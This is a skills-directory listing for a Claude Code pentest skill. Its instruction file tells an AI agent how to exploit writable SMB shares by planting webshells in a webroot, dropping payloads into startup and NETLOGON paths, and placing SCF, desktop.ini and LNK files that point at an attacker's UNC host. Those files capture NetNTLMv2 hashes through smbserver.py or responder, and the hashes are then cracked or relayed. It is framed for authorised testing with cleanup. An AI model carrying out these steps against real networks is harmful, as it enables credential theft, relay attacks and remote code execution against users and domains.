Skip to content
Back to skills

Smb Share Webshell

ASecurity

Convert writable SMB/UNC shares into code execution or credential capture — planting a webshell in a share mapped to a webroot, dropping payloads to startup/scheduled-task/NETLOGON locations, SCF/LNK/desktop.ini UNC-coercion files for hash capture, and library-planting. Safe-PoC oriented with cleanup. Use when smb-enumeration finds writable shares.

  • 16 stars
  • 0 votes
  • 0 copies
  • 3 views
  • Added November 17, 2026
securitygoshellbackend

Security analysis

A100/100

Scanned November 17, 2026

npx -y skills add AnandJogawade/Zazy-Pentest-Plugin-for-Claude --skill smb-share-webshell --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Smb Share Webshell?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Smb Share Webshell
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/anandjogawade-smb-share-webshell/badge)](https://www.skillsdirectory.com/skills/anandjogawade-smb-share-webshell)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: smb-share-webshell
description: Convert writable SMB/UNC shares into code execution or credential capture — planting a webshell in a share mapped to a webroot, dropping payloads to startup/scheduled-task/NETLOGON locations, SCF/LNK/desktop.ini UNC-coercion files for hash capture, and library-planting. Safe-PoC oriented with cleanup. Use when smb-enumeration finds writable shares.
---

# SMB Share → Code Exec / Hash Capture

A writable share is often a foothold: it may map to a webroot, a startup path, or be browsable by privileged users whose auth you can coerce.

## Trigger phrases
`writable share, scf file, desktop.ini unc, webshell upload smb, netlogon write, lnk hash capture`

## Paths to code execution
- **Share = webroot:** drop a language-matched webshell (see `${CLAUDE_PLUGIN_ROOT}/payloads/file-upload.md`) and request it via the web service → RCE. Confirm the share's web path first.
- **Startup / scheduled-task / service paths:** place a benign marker payload; confirm execution context on trigger; remove it.
- **SYSVOL/NETLOGON write** (rare, high impact): scripts run domain-wide — benign PoC only, revert immediately.

## Hash capture via UNC coercion (safe, no payload)
Drop a file that forces browsing users to authenticate to your host; capture NetNTLMv2 with `responder`/`smbserver.py`, then crack or relay:
- **SCF file** in a browsed share: `IconFile=\\<attacker-ip>\share\x`.
- **desktop.ini** with a UNC `IconResource`.
- **LNK / .url / library-ms / .searchConnector-ms** pointing at your UNC.
```
smbserver.py -smb2support share .           # or responder -I <iface>
# wait for a user/indexer to browse -> NetNTLMv2 -> hashcat -m 5600 / relay (auth-coercion-relay)
```

## Safe-PoC discipline
Prefer hash-capture (no code) and benign markers over live payloads; always delete planted files and record them.

## Backend / Verification
Kali for responder/smbserver. **Background-verify** the captured hash authenticates / the webshell executes, independently, before reporting CONFIRMED.

## Evidence
The writable share, the planted file (then removed), and the captured hash or shell proof.

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.